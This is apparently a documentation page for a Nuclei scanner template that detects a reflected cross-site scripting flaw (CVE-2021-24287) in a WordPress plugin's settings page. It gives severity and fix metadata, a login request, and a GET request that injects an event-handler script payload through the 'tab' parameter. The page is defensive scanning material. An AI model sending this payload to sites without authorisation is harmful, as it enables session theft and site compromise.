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WordPress Select All Categories and Taxonomies <1.3.2 - Cross-Site Scripting

ID: CVE-2021-24287

Severity: medium

Author: r3Y3r53

Tags: cve2021,cve,wp,select-all-categories,taxonomies-change-checkbox-to-radio-buttons,authenticated,wpscan,xss,wp-plugin,wordpress,edb,mooveagency

Description

Section titled “Description”

WordPress Select All Categories and Taxonomies plugin before 1.3.2 contains a cross-site scripting vulnerability. The settings page of the plugin does not properly sanitize the tab parameter before outputting it back. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

YAML Source

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id: CVE-2021-24287


info:
  name: WordPress Select All Categories and Taxonomies <1.3.2 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    WordPress Select All Categories and Taxonomies plugin before 1.3.2 contains a cross-site scripting vulnerability. The settings page of the plugin does not properly sanitize the tab parameter before outputting it back. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: Fixed in version 1.3.2.
  reference:
    - https://www.exploit-db.com/exploits/50349
    - https://wpscan.com/vulnerability/56e1bb56-bfc5-40dd-b2d0-edef43d89bdf
    - https://wordpress.org/plugins/select-all-categories-and-taxonomies-change-checkbox-to-radio-buttons/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24287
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24287
    cwe-id: CWE-79
    epss-score: 0.00231
    epss-percentile: 0.61154
    cpe: cpe:2.3:a:mooveagency:select_all_categories_and_taxonomies\,_change_checkbox_to_radio_buttons:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: mooveagency
    product: select_all_categories_and_taxonomies\,_change_checkbox_to_radio_buttons
    framework: wordpress
  tags: cve2021,cve,wp,select-all-categories,taxonomies-change-checkbox-to-radio-buttons,authenticated,wpscan,xss,wp-plugin,wordpress,edb,mooveagency


http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded


        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/options-general.php?page=moove-taxonomy-settings&tab="+style=animation-name:rotation+onanimationstart="alert(document.domain); HTTP/1.1
        Host: {{Hostname}}


    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(body_2, "alert(document.domain)")'
          - 'contains(body_2, "Set up the taxonomies")'
        condition: and
# digest: 4b0a00483046022100c5b217bc1cffb484b7c6ecb01a3d14d2cd25ae926421a2a3feded3676c2eb9bd022100dde622f3ef8c0fc40e2c3be6ca070a511a829df3a9094927da025b026f01d986:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-24287.yaml"

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